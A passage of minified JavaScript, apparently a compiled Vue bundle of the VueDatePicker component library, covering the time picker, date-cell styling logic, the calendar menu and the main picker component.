(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(ra),{key:1}))]),_:2},[e.$slots[`${n.type}-overlay-value`]?{name:\"item\",fn:(0,r.k6)(({item:t})=>[(0,r.RG)(e.$slots,`${n.type}-overlay-value`,{text:t.text,value:t.value})]),key:\"0\"}:void 0]),1032,[\"items\",\"disabled-values\",\"esc-close\",\"aria-labels\",\"hide-navigation\",\"onUpdate:modelValue\",\"onSelected\",\"onToggle\",\"type\"])):(0,r.Q3)(\"\",!0)]),_:2},1032,[\"name\",\"css\"]))),128))]))}}}),nl=[\"aria-label\"],rl={class:\"dp__overlay_container dp__container_flex dp__time_picker_overlay_container\"},al={key:1,class:\"dp__overlay_row\"},ol=[\"aria-label\"],il=(0,r.pM)({__name:\"TimePicker\",props:{hours:{type:[Number,Array],default:0},minutes:{type:[Number,Array],default:0},seconds:{type:[Number,Array],default:0},internalModelValue:{type:[Date,Array],default:null},...fi},emits:[\"update:hours\",\"update:minutes\",\"update:seconds\",\"mount\",\"reset-flow\",\"overlay-closed\"],setup(e,{expose:t,emit:n}){const l=e,{buildMatrix:s,setTimePicker:u}=Zo(),d=(0,r.Ht)(),{hideNavigationButtons:c,defaults:f}=Uo(l),{transitionName:p,showTransition:h}=ci(f.value.transitions),v=(0,a.KR)(null),m=(0,a.KR)(null),g=(0,a.KR)([]),y=(0,a.KR)(null);(0,r.sV)(()=>{n(\"mount\"),!l.timePicker&&l.arrowNavigation?s([Oo(v.value)],\"time\"):u(!0,l.timePicker)});const b=(0,r.EW)(()=>!l.range||!l.modelAuto||Ao(l.internalModelValue)),$=(0,a.KR)(!1),w=e=>({hours:Array.isArray(l.hours)?l.hours[e]:l.hours,minutes:Array.isArray(l.minutes)?l.minutes[e]:l.minutes,seconds:Array.isArray(l.seconds)?l.seconds[e]:l.seconds}),_=(0,r.EW)(()=>{const e=[];if(l.range)for(let t=0;t\u003C2;t++)e.push(w(t));else e.push(w(0));return e}),k=(e,t=!1,a=\"\")=>{t||n(\"reset-flow\"),$.value=e,l.arrowNavigation&&(u(e),e||n(\"overlay-closed\")),(0,r.dY)(()=>{\"\"!==a&&g.value[0]&&g.value[0].openChildCmp(a)})},C=(0,r.EW)(()=>({dp__button:!0,dp__button_bottom:l.autoApply})),x=di(d,\"timePicker\"),S=(e,t,n)=>l.range?0===t?[e,_.value[1][n]]:[_.value[0][n],e]:e,E=e=>{n(\"update:hours\",e)},T=e=>{n(\"update:minutes\",e)},R=e=>{n(\"update:seconds\",e)},O=()=>{y.value&&l.arrowNavigation&&y.value.focus({preventScroll:!0})};return t({toggleTimePicker:k}),(t,n)=>{var l;return(0,r.uX)(),(0,r.CE)(\"div\",null,[t.timePicker?(0,r.Q3)(\"\",!0):(0,r.bo)(((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:(0,o.C4)((0,a.R1)(C)),role:\"button\",\"aria-label\":null==(l=(0,a.R1)(f).ariaLabels)?void 0:l.openTimePicker,tabindex:\"0\",\"data-test\":\"open-time-picker-btn\",ref_key:\"openTimePickerBtn\",ref:v,onKeydown:[n[0]||(n[0]=(0,i.jR)(e=>k(!0),[\"enter\"])),n[1]||(n[1]=(0,i.jR)(e=>k(!0),[\"space\"]))],onClick:n[2]||(n[2]=e=>k(!0))},[t.$slots[\"clock-icon\"]?(0,r.RG)(t.$slots,\"clock-icon\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"clock-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(ra),{key:1}))],42,nl)),[[i.aG,!(0,a.R1)(c)(\"time\")]]),(0,r.bF)(i.eB,{name:(0,a.R1)(p)($.value),css:(0,a.R1)(h)},{default:(0,r.k6)(()=>{var l;return[$.value||t.timePicker?((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:\"dp__overlay\",ref_key:\"overlayRef\",ref:y,tabindex:\"0\"},[(0,r.Lk)(\"div\",rl,[t.$slots[\"time-picker-overlay\"]?(0,r.RG)(t.$slots,\"time-picker-overlay\",{key:0,hours:e.hours,minutes:e.minutes,seconds:e.seconds,setHours:E,setMinutes:T,setSeconds:R}):(0,r.Q3)(\"\",!0),t.$slots[\"time-picker-overlay\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",al,[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(_),(e,n)=>(0,r.bo)(((0,r.uX)(),(0,r.Wv)(tl,(0,r.v6)({key:n},{...t.$props,order:n,hours:e.hours,minutes:e.minutes,seconds:e.seconds,closeTimePickerBtn:m.value,disabled:0===n?t.fixedStart:t.fixedEnd},{ref_for:!0,ref_key:\"timeInputRefs\",ref:g,\"onUpdate:hours\":e=>E(S(e,n,\"hours\")),\"onUpdate:minutes\":e=>T(S(e,n,\"minutes\")),\"onUpdate:seconds\":e=>R(S(e,n,\"seconds\")),onMounted:O,onOverlayClosed:O}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(x),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)(n)))])}))]),1040,[\"onUpdate:hours\",\"onUpdate:minutes\",\"onUpdate:seconds\"])),[[i.aG,0===n||(0,a.R1)(b)]])),128))])),t.timePicker?(0,r.Q3)(\"\",!0):(0,r.bo)(((0,r.uX)(),(0,r.CE)(\"div\",{key:2,ref_key:\"closeTimePickerBtn\",ref:m,class:(0,o.C4)((0,a.R1)(C)),role:\"button\",\"aria-label\":null==(l=(0,a.R1)(f).ariaLabels)?void 0:l.closeTimePicker,tabindex:\"0\",onKeydown:[n[3]||(n[3]=(0,i.jR)(e=>k(!1),[\"enter\"])),n[4]||(n[4]=(0,i.jR)(e=>k(!1),[\"space\"]))],onClick:n[5]||(n[5]=e=>k(!1))},[t.$slots[\"calendar-icon\"]?(0,r.RG)(t.$slots,\"calendar-icon\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"calendar-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Mr),{key:1}))],42,ol)),[[i.aG,!(0,a.R1)(c)(\"time\")]])])],512)):(0,r.Q3)(\"\",!0)]}),_:3},8,[\"name\",\"css\"])])}}}),ll=(e,t)=>{const{isDisabled:n,matchDate:r,getWeekFromDate:o}=Uo(t),i=(0,a.KR)(null),l=(0,a.KR)(ya()),s=e=>{!e.current&&t.hideOffsetDates||(i.value=e.value)},u=()=>{i.value=null},d=n=>!(Array.isArray(e.value)&&t.range&&e.value[0]&&i.value)||(n?Ca(i.value,e.value[0]):_a(i.value,e.value[0])),c=(t,n)=>{const r=()=>e.value?n?e.value[0]||null:e.value[1]:null,a=e.value&&Array.isArray(e.value)?r():null;return ka(ya(t.value),a)},f=t=>{const n=Array.isArray(e.value)?e.value[0]:null;return!t||!_a(i.value||null,n)},p=(n,r=!0)=>(t.range||t.weekPicker)&&Array.isArray(e.value)?!(t.hideOffsetDates&&!n.current)&&ka(ya(n.value),e.value[r?0:1]):!!t.range&&(c(n,r)&&f(r)||ka(n.value,Array.isArray(e.value)?e.value[0]:null)&&d(r)),h=(t,n,r)=>!(!Array.isArray(e.value)||!e.value[0]||1!==e.value.length)&&(!t&&(r?Ca(e.value[0],n.value):_a(e.value[0],n.value))),v=n=>!(!e.value||t.hideOffsetDates&&!n.current)&&(t.range?!(!t.modelAuto||!Array.isArray(e.value))&&ka(n.value,e.value[0]?e.value[0]:l.value):t.multiDates&&Array.isArray(e.value)?e.value.some(e=>ka(e,n.value)):ka(n.value,e.value?e.value:l.value)),m=e=>{if(t.autoRange||t.weekPicker){if(i.value){if(t.hideOffsetDates&&!e.current)return!1;const n=or(i.value,+t.autoRange),r=o(ya(i.value));return t.weekPicker?ka(r[1],ya(e.value)):ka(n,ya(e.value))}return!1}return!1},g=e=>{if(t.autoRange||t.weekPicker){if(i.value){const n=or(i.value,+t.autoRange);if(t.hideOffsetDates&&!e.current)return!1;const r=o(ya(i.value));return t.weekPicker?Ca(e.value,r[0])&&_a(e.value,r[1]):Ca(e.value,i.value)&&_a(e.value,n)}return!1}return!1},y=e=>{if(t.autoRange||t.weekPicker){if(i.value){if(t.hideOffsetDates&&!e.current)return!1;const n=o(ya(i.value));return t.weekPicker?ka(n[0],e.value):ka(i.value,e.value)}return!1}return!1},b=t=>xa(e.value,i.value,t.value),$=()=>!(!t.modelAuto||!Array.isArray(t.internalModelValue))&&!!t.internalModelValue[0],w=()=>!t.modelAuto||Ao(t.internalModelValue),_=r=>{if(Array.isArray(e.value)&&e.value.length||t.weekPicker)return!1;const a=!t.range||!p(r)&&!p(r,!1);return!n(r.value)&&!v(r)&&!(!r.current&&t.hideOffsetDates)&&a},k=e=>t.range?!!t.modelAuto&&($()&&v(e)):v(e),C=e=>!!t.highlight&&r(e.value,t.highlight),x=e=>n(e.value)&&!1===t.highlightDisabledDays,S=e=>t.highlightWeekDays&&t.highlightWeekDays.includes(e.value.getDay()),E=e=>!(!t.range&&!t.weekPicker||t.multiCalendars>0&&!e.current||!w()||!e.current&&t.hideOffsetDates||v(e))&&b(e),T=e=>({dp__cell_offset:!e.current,dp__pointer:!t.disabled&&!(!e.current&&t.hideOffsetDates)&&!n(e.value),dp__cell_disabled:n(e.value),dp__cell_highlight:!x(e)&&(C(e)||S(e))&&!k(e),dp__cell_highlight_active:!x(e)&&(C(e)||S(e))&&k(e),dp__today:!t.noToday&&ka(e.value,l.value)&&e.current}),R=e=>({dp__active_date:k(e),dp__date_hover:_(e)}),O=e=>({...M(e),...A(e),dp__range_between_week:E(e)&&t.weekPicker}),M=e=>({dp__range_start:t.multiCalendars>0?e.current&&p(e)&&w():p(e)&&w(),dp__range_end:t.multiCalendars>0?e.current&&p(e,!1)&&w():p(e,!1)&&w(),dp__range_between:E(e)&&!t.weekPicker,dp__date_hover_start:h(_(e),e,!0),dp__date_hover_end:h(_(e),e,!1)}),A=e=>({...M(e),dp__cell_auto_range:g(e),dp__cell_auto_range_start:y(e),dp__cell_auto_range_end:m(e)}),D=e=>t.range?t.autoRange?A(e):t.modelAuto?{...R(e),...M(e)}:M(e):t.weekPicker?O(e):R(e);return{setHoverDate:s,clearHoverDate:u,getDayClassData:e=>({...T(e),...D(e),[t.dayClass?t.dayClass(e.value):\"\"]:!0,[t.calendarCellClassName]:!!t.calendarCellClassName})}},sl=[\"id\",\"onKeydown\"],ul={key:0,class:\"dp__sidebar_left\"},dl={key:1,class:\"dp__preset_ranges\"},cl=[\"onClick\"],fl={key:2,class:\"dp__sidebar_right\"},pl={key:3,class:\"dp__now_wrap\"},hl=(0,r.pM)({__name:\"DatepickerMenu\",props:{openOnTop:{type:Boolean,default:!1},internalModelValue:{type:[Date,Array],default:null},...fi},emits:[\"close-picker\",\"select-date\",\"auto-apply\",\"time-update\",\"flow-step\",\"update-month-year\",\"invalid-select\",\"update:internal-model-value\",\"recalculate-position\",\"invalid-fixed-range\",\"tooltip-open\",\"tooltip-close\"],setup(e,{expose:t,emit:n}){const l=e,{setMenuFocused:s,setShiftKey:u,control:d}=Ea(),{getCalendarDays:c,defaults:f}=Uo(l),p=(0,r.Ht)(),h=(0,a.KR)(null),v=(0,a.Kh)({timePicker:!(l.enableTimePicker&&!l.timePicker&&!l.monthPicker),monthYearInput:!!l.timePicker,calendar:!1}),m=(0,a.KR)([]),g=(0,a.KR)([]),y=(0,a.KR)(null),b=(0,a.KR)(null),$=(0,a.KR)(0),w=(0,a.KR)(!1),_=(0,a.KR)(0);(0,r.sV)(()=>{var e;w.value=!0,(null==(e=l.presetRanges)||!e.length)&&!p[\"left-sidebar\"]&&!p[\"right-sidebar\"]&&re();const t=Oo(b);if(t&&!l.textInput&&!l.inline&&(s(!0),T()),t){const e=e=>{!l.monthYearComponent&&!l.timePickerComponent&&!Object.keys(p).length&&e.preventDefault(),e.stopImmediatePropagation(),e.stopPropagation()};t.addEventListener(\"pointerdown\",e),t.addEventListener(\"mousedown\",e)}window.addEventListener(\"resize\",re)}),(0,r.hi)(()=>{window.removeEventListener(\"resize\",re)});const{arrowRight:k,arrowLeft:C,arrowDown:x,arrowUp:S}=Zo(),E=e=>{e||0===e?g.value[e].triggerTransition(D.value(e),W.value(e)):g.value.forEach((e,t)=>e.triggerTransition(D.value(t),W.value(t)))},T=()=>{const e=Oo(b);e&&e.focus({preventScroll:!0})},R=()=>{var e;null!=(e=l.flow)&&e.length&&-1!==_.value&&(_.value+=1,n(\"flow-step\",_.value),be())},O=()=>{_.value=-1},{calendars:M,modelValue:A,month:D,year:W,time:B,updateTime:P,updateMonthYear:I,selectDate:N,getWeekNum:L,monthYearSelect:j,handleScroll:F,handleArrow:V,handleSwipe:U,getMarker:X,selectCurrentDate:H,presetDateRange:G}=ni(l,n,R,E,_),{setHoverDate:Y,clearHoverDate:z,getDayClassData:K}=ll(A,l);(0,r.wB)(M,()=>{l.openOnTop&&setTimeout(()=>{n(\"recalculate-position\")},0)},{deep:!0});const q=di(p,\"calendar\"),Q=di(p,\"action\"),Z=di(p,\"timePicker\"),J=di(p,\"monthYear\"),ee=(0,r.EW)(()=>l.openOnTop?\"dp__arrow_bottom\":\"dp__arrow_top\"),te=(0,r.EW)(()=>Eo(l.yearRange)),ne=(0,r.EW)(()=>To(l.locale,l.monthNameFormat)),re=()=>{const e=Oo(h);e&&($.value=e.getBoundingClientRect().width)},ae=(0,r.EW)(()=>e=>c(D.value(e),W.value(e))),oe=(0,r.EW)(()=>f.value.multiCalendars>0&&l.range?[...Array(f.value.multiCalendars).keys()]:[0]),ie=(0,r.EW)(()=>e=>1===e),le=(0,r.EW)(()=>l.monthPicker||l.timePicker||l.yearPicker),se=(0,r.EW)(()=>({dp__flex_display:f.value.multiCalendars>0})),ue=(0,r.EW)(()=>({dp__instance_calendar:f.value.multiCalendars>0})),de=(0,r.EW)(()=>({dp__menu_disabled:l.disabled,dp__menu_readonly:l.readonly})),ce=(0,r.EW)(()=>e=>pe(ae,e)),fe=(0,r.EW)(()=>({dp__menu:!0,dp__menu_index:!l.inline,dp__relative:l.inline,[l.menuClassName]:!!l.menuClassName})),pe=(e,t)=>e.value(t).map(e=>({...e,days:e.days.map(e=>(e.marker=X(e),e.classData=K(e),e))})),he=e=>{e.stopPropagation(),e.stopImmediatePropagation()},ve=()=>{l.escClose&&n(\"close-picker\")},me=(e,t=!1)=>{N(e,t),l.spaceConfirm&&n(\"select-date\")},ge=e=>{var t;null!=(t=l.flow)&&t.length&&(v[e]=!0,Object.keys(v).filter(e=>!v[e]).length||be())},ye=(e,t,n,r,...a)=>{if(l.flow[_.value]===e){const e=r?t.value[0]:t.value;e&&e[n](...a)}},be=()=>{ye(\"month\",m,\"toggleMonthPicker\",!0,!0),ye(\"year\",m,\"toggleYearPicker\",!0,!0),ye(\"calendar\",y,\"toggleTimePicker\",!1,!1,!0),ye(\"time\",y,\"toggleTimePicker\",!1,!0,!0);const e=l.flow[_.value];(\"hours\"===e||\"minutes\"===e||\"seconds\"===e)&&ye(e,y,\"toggleTimePicker\",!1,!0,!0,e)},$e=e=>{if(l.arrowNavigation){if(\"up\"===e)return S();if(\"down\"===e)return x();if(\"left\"===e)return C();if(\"right\"===e)return k()}else\"left\"===e||\"up\"===e?V(\"left\",0,\"up\"===e):V(\"right\",0,\"down\"===e)},we=e=>{u(e.shiftKey),!l.disableMonthYearSelect&&\"Tab\"===e.code&&e.target.classList.contains(\"dp__menu\")&&d.value.shiftKeyInMenu&&(e.preventDefault(),e.stopImmediatePropagation(),n(\"close-picker\"))};return t({updateMonthYear:I}),(t,n)=>{var l;return(0,r.uX)(),(0,r.Wv)(i.eB,{appear:\"\",name:null==(l=(0,a.R1)(f).transitions)?void 0:l.menuAppear,mode:\"out-in\",css:!!t.transitions},{default:(0,r.k6)(()=>{var l,s;return[(0,r.Lk)(\"div\",{id:t.uid?`dp-menu-${t.uid}`:void 0,tabindex:\"0\",ref_key:\"dpMenuRef\",ref:b,role:\"dialog\",class:(0,o.C4)((0,a.R1)(fe)),onMouseleave:n[14]||(n[14]=(...e)=>(0,a.R1)(z)&&(0,a.R1)(z)(...e)),onClick:he,onKeydown:[(0,i.jR)(ve,[\"esc\"]),n[15]||(n[15]=(0,i.jR)((0,i.D$)(e=>$e(\"left\"),[\"prevent\"]),[\"left\"])),n[16]||(n[16]=(0,i.jR)((0,i.D$)(e=>$e(\"up\"),[\"prevent\"]),[\"up\"])),n[17]||(n[17]=(0,i.jR)((0,i.D$)(e=>$e(\"down\"),[\"prevent\"]),[\"down\"])),n[18]||(n[18]=(0,i.jR)((0,i.D$)(e=>$e(\"right\"),[\"prevent\"]),[\"right\"])),we]},[(t.disabled||t.readonly)&&t.inline?((0,r.uX)(),(0,r.CE)(\"div\",{key:0,class:(0,o.C4)((0,a.R1)(de))},null,2)):(0,r.Q3)(\"\",!0),t.inline||t.teleportCenter?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",{key:1,class:(0,o.C4)((0,a.R1)(ee))},null,2)),(0,r.Lk)(\"div\",{class:(0,o.C4)({dp__menu_content_wrapper:(null==(l=t.presetRanges)?void 0:l.length)||!!t.$slots[\"left-sidebar\"]||!!t.$slots[\"right-sidebar\"]})},[t.$slots[\"left-sidebar\"]?((0,r.uX)(),(0,r.CE)(\"div\",ul,[(0,r.RG)(t.$slots,\"left-sidebar\")])):(0,r.Q3)(\"\",!0),null!=(s=t.presetRanges)&&s.length?((0,r.uX)(),(0,r.CE)(\"div\",dl,[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(t.presetRanges,(e,n)=>((0,r.uX)(),(0,r.CE)(\"div\",{key:n,style:(0,o.Tr)(e.style||{}),class:\"dp__preset_range\",onClick:t=>(0,a.R1)(G)(e.range,!!e.slot)},[e.slot?(0,r.RG)(t.$slots,e.slot,{key:0,presetDateRange:(0,a.R1)(G),label:e.label,range:e.range}):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e.label),1)],64))],12,cl))),128))])):(0,r.Q3)(\"\",!0),(0,r.Lk)(\"div\",{class:\"dp__instance_calendar\",ref_key:\"calendarWrapperRef\",ref:h,role:\"document\"},[(0,r.Lk)(\"div\",{class:(0,o.C4)((0,a.R1)(se))},[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(oe),(i,l)=>((0,r.uX)(),(0,r.CE)(\"div\",{key:i,class:(0,o.C4)((0,a.R1)(ue))},[t.disableMonthYearSelect||t.timePicker?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,r.$y)(t.monthYearComponent?t.monthYearComponent:zi),(0,r.v6)({key:0,ref_for:!0,ref:e=>{e&&(m.value[l]=e)},months:(0,a.R1)(ne),years:(0,a.R1)(te),month:(0,a.R1)(D)(i),year:(0,a.R1)(W)(i),instance:i,\"internal-model-value\":e.internalModelValue},t.$props,{onMount:n[0]||(n[0]=e=>ge(\"monthYearInput\")),onResetFlow:O,onUpdateMonthYear:e=>(0,a.R1)(I)(i,e),onMonthYearSelect:(0,a.R1)(j),onOverlayClosed:T}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(J),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)(n)))])}))]),1040,[\"months\",\"years\",\"month\",\"year\",\"instance\",\"internal-model-value\",\"onUpdateMonthYear\",\"onMonthYearSelect\"])),(0,r.bF)(Ai,(0,r.v6)({ref_for:!0,ref:e=>{e&&(g.value[l]=e)},\"specific-mode\":(0,a.R1)(le),\"get-week-num\":(0,a.R1)(L),instance:i,\"mapped-dates\":(0,a.R1)(ce)(i),month:(0,a.R1)(D)(i),year:(0,a.R1)(W)(i)},t.$props,{\"flow-step\":_.value,\"onUpdate:flowStep\":n[1]||(n[1]=e=>_.value=e),onSelectDate:e=>(0,a.R1)(N)(e,!(0,a.R1)(ie)(i)),onHandleSpace:e=>me(e,!(0,a.R1)(ie)(i)),onSetHoverDate:n[2]||(n[2]=e=>(0,a.R1)(Y)(e)),onHandleScroll:e=>(0,a.R1)(F)(e,i),onHandleSwipe:e=>(0,a.R1)(U)(e,i),onMount:n[3]||(n[3]=e=>ge(\"calendar\")),onResetFlow:O,onTooltipOpen:n[4]||(n[4]=e=>t.$emit(\"tooltip-open\",e)),onTooltipClose:n[5]||(n[5]=e=>t.$emit(\"tooltip-close\",e))}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(q),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)({...n})))])}))]),1040,[\"specific-mode\",\"get-week-num\",\"instance\",\"mapped-dates\",\"month\",\"year\",\"flow-step\",\"onSelectDate\",\"onHandleSpace\",\"onHandleScroll\",\"onHandleSwipe\"])],2))),128))],2),(0,r.Lk)(\"div\",null,[t.$slots[\"time-picker\"]?(0,r.RG)(t.$slots,\"time-picker\",(0,o._B)((0,r.v6)({key:0},{time:(0,a.R1)(B),updateTime:(0,a.R1)(P)}))):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[!t.enableTimePicker||t.monthPicker||t.weekPicker?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,r.$y)(t.timePickerComponent?t.timePickerComponent:il),(0,r.v6)({key:0,ref_key:\"timePickerRef\",ref:y,hours:(0,a.R1)(B).hours,minutes:(0,a.R1)(B).minutes,seconds:(0,a.R1)(B).seconds,\"internal-model-value\":e.internalModelValue},t.$props,{onMount:n[6]||(n[6]=e=>ge(\"timePicker\")),\"onUpdate:hours\":n[7]||(n[7]=e=>(0,a.R1)(P)(e)),\"onUpdate:minutes\":n[8]||(n[8]=e=>(0,a.R1)(P)(e,!1)),\"onUpdate:seconds\":n[9]||(n[9]=e=>(0,a.R1)(P)(e,!1,!0)),onResetFlow:O,onOverlayClosed:T}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(Z),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)(n)))])}))]),1040,[\"hours\",\"minutes\",\"seconds\",\"internal-model-value\"]))],64))])],512),t.$slots[\"right-sidebar\"]?((0,r.uX)(),(0,r.CE)(\"div\",fl,[(0,r.RG)(t.$slots,\"right-sidebar\")])):(0,r.Q3)(\"\",!0),t.showNowButton?((0,r.uX)(),(0,r.CE)(\"div\",pl,[t.$slots[\"now-button\"]?(0,r.RG)(t.$slots,\"now-button\",{key:0,selectCurrentDate:(0,a.R1)(H)}):(0,r.Q3)(\"\",!0),t.$slots[\"now-button\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"button\",{key:1,type:\"button\",role:\"button\",class:\"dp__now_button\",onClick:n[10]||(n[10]=(...e)=>(0,a.R1)(H)&&(0,a.R1)(H)(...e))},(0,o.v_)(t.nowButtonLabel),1))])):(0,r.Q3)(\"\",!0)],2),!t.autoApply||t.keepActionRow?((0,r.uX)(),(0,r.Wv)((0,r.$y)(t.actionRowComponent?t.actionRowComponent:_i),(0,r.v6)({key:2,\"menu-mount\":w.value,\"calendar-width\":$.value,\"internal-model-value\":e.internalModelValue},t.$props,{onClosePicker:n[11]||(n[11]=e=>t.$emit(\"close-picker\")),onSelectDate:n[12]||(n[12]=e=>t.$emit(\"select-date\")),onInvalidSelect:n[13]||(n[13]=e=>t.$emit(\"invalid-select\"))}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(Q),(e,n)=>({name:e,fn:(0,r.k6)(n=>[(0,r.RG)(t.$slots,e,(0,o._B)((0,r.Ng)({...n})))])}))]),1040,[\"menu-mount\",\"calendar-width\",\"internal-model-value\"])):(0,r.Q3)(\"\",!0)],42,sl)]}),_:3},8,[\"name\",\"css\"])}}}),vl=typeof window\u003C\"u\"?window:void 0,ml=()=>{},gl=e=>!!(0,a.o5)()&&((0,a.jr)(e),!0),yl=(e,t,n,o)=>{if(!e)return ml;let i=ml;const l=(0,r.wB)(()=>(0,a.R1)(e),e=>{i(),e&&(e.addEventListener(t,n,o),i=()=>{e.removeEventListener(t,n,o),i=ml})},{immediate:!0,flush:\"post\"}),s=()=>{l(),i()};return gl(s),s},bl=(e,t,n,r={})=>{const{window:a=vl,event:o=\"pointerdown\"}=r;return a?yl(a,o,r=>{const a=Oo(e),o=Oo(t);!a||!o||a===r.target||r.composedPath().includes(a)||r.composedPath().includes(o)||n(r)},{passive:!0}):void 0},$l=(0,r.pM)({__name:\"VueDatePicker\",props:{...fi},emits:[\"update:model-value\",\"text-submit\",\"closed\",\"cleared\",\"open\",\"focus\",\"blur\",\"internal-model-change\",\"recalculate-position\",\"flow-step\",\"update-month-year\",\"invalid-select\",\"invalid-fixed-range\",\"tooltip-open\",\"tooltip-close\"],setup(e,{expose:t,emit:n}){const i=e,l=(0,r.Ht)(),s=(0,a.KR)(!1),u=(0,a.lW)(i,\"modelValue\"),d=(0,a.lW)(i,\"timezone\"),c=(0,a.KR)(null),f=(0,a.KR)(null),p=(0,a.KR)(!1),{setMenuFocused:h,setShiftKey:v}=Ea(),{clearArrowNav:m}=Zo(),{validateDate:g,isValidTime:y,defaults:b}=Uo(i);(0,r.sV)(()=>{T(i.modelValue),i.inline||(window.addEventListener(\"scroll\",W),window.addEventListener(\"resize\",B)),i.inline&&(s.value=!0)}),(0,r.hi)(()=>{i.inline||(window.removeEventListener(\"scroll\",W),window.removeEventListener(\"resize\",B))});const $=di(l,\"all\",i.presetRanges),w=di(l,\"input\");(0,r.wB)([u,d],()=>{T(u.value)},{deep:!0});const{openOnTop:_,menuPosition:k,setMenuPosition:C,setInitialPosition:x}=ii(c,f,n,i),{inputValue:S,internalModelValue:E,parseExternalModelValue:T,emitModelValue:R,formatInputValue:O,checkBeforeEmit:M}=ri(n,i,p),A=(0,r.EW)(()=>({dp__main:!0,dp__theme_dark:i.dark,dp__theme_light:!i.dark,dp__flex_display:i.inline,dp__flex_display_with_input:i.inlineWithInput})),D=(0,r.EW)(()=>i.dark?\"dp__theme_dark\":\"dp__theme_light\"),W=()=>{s.value&&(i.closeOnScroll?U():i.autoPosition&&C())},B=()=>{s.value&&C()},P=()=>{!i.disabled&&!i.readonly&&(x(),s.value=!0,(0,r.dY)().then(()=>{C(),s.value&&n(\"open\")}),s.value||V(),T(i.modelValue))},I=()=>{S.value=\"\",V(),n(\"update:model-value\",null),n(\"cleared\"),U()},N=()=>{const e=E.value;return!(e&&(Array.isArray(e)||!g(e)))||!!Array.isArray(e)&&(!(2!==e.length||!g(e[0])||!g(e[1]))||g(e[0]))},L=()=>{M()&&N()?(R(),U()):n(\"invalid-select\",E.value)},j=e=>{R(),i.closeOnAutoApply&&!e&&U()},F=(e=!1)=>{i.autoApply&&y(E.value)&&N()&&(i.range&&Array.isArray(E.value)?(i.partialRange||2===E.value.length)&&j(e):j(e))},V=()=>{i.textInput||(E.value=null)},U=()=>{i.inline||(s.value&&(s.value=!1,h(!1),v(!1),m(),n(\"closed\"),x(),S.value&&T(u.value)),V(),f.value&&f.value.focusInput())},X=(e,t)=>{e?(E.value=e,t&&(L(),n(\"text-submit\"))):E.value=null},H=()=>{i.autoApply&&y(E.value)&&R()},G=()=>s.value?U():P(),Y=e=>{E.value=e},z=(0,r.EW)(()=>i.textInput&&b.value.textInputOptions.format),K=()=>{z.value&&(p.value=!0,O()),n(\"focus\")},q=()=>{z.value&&(p.value=!1,O()),n(\"blur\")},Q=e=>{c.value&&c.value.updateMonthYear(0,{month:Bo(e.month),year:Bo(e.year)})};return bl(c,f,i.onClickOutside?()=>i.onClickOutside(N):U),t({closeMenu:U,selectDate:L,clearValue:I,openMenu:P,onScroll:W,formatInputValue:O,updateInternalModelValue:Y,setMonthYear:Q}),(e,t)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:(0,o.C4)((0,a.R1)(A))},[(0,r.bF)(yi,(0,r.v6)({ref_key:\"inputRef\",ref:f,\"is-menu-open\":s.value,\"input-value\":(0,a.R1)(S),\"onUpdate:inputValue\":t[0]||(t[0]=e=>(0,a.i9)(S)?S.value=e:null)},e.$props,{onClear:I,onOpen:P,onSetInputDate:X,onSetEmptyDate:(0,a.R1)(R),onSelectDate:L,onToggle:G,onClose:U,onFocus:K,onBlur:q}),(0,r.eX)({_:2},[(0,r.pI)((0,a.R1)(w),(t,n)=>({name:t,fn:(0,r.k6)(n=>[(0,r.RG)(e.$slots,t,(0,o._B)((0,r.Ng)(n)))])}))]),1040,[\"is-menu-open\",\"input-value\",\"onSetEmptyDate\"]),s.value?((0,r.uX)(),(0,r.Wv)(r.Im,{key:0,to:e.teleport,disabled:e.inline},[s.value?((0,r.uX)(),(0,r.Wv)(hl,(0,r.v6)({key:0,ref_key:\"dpMenuRef\",ref:c,class:(0,a.R1)(D),style:(0,a.R1)(k),\"open-on-top\":(0,a.R1)(_)},e.$props,{\"internal-model-value\":(0,a.R1)(E),\"onUpdate:internalModelValue\":t[1]||(t[1]=e=>(0,a.i9)(E)?E.value=e:null),onClosePicker:U,onSelectDate:L,onAutoApply:F,onTimeUpdate:H,onFlowStep:t[2]||(t[2]=t=>e.$emit(\"flow-step\",t)),onUpdateMonthYear:t[3]||(t[3]=t=>e.$emit(\"update-month-year\",t)),onInvalidSelect:t[4]||(t[4]=t=>e.$emit(\"invalid-select\",(0,a.R1)(E))),onInvalidFixedRange:t[5]||(t[5]=t=>e.$emit(\"invalid-fixed-range\",t)),onRecalculatePosition:(0,a.R1)(C),onTooltipOpen:t[6]||(t[6]=t=>e.$emit(\"tooltip-open\",t)),onTooltipClose:t[7]||(t[7]=t=>e.$emit(\"tool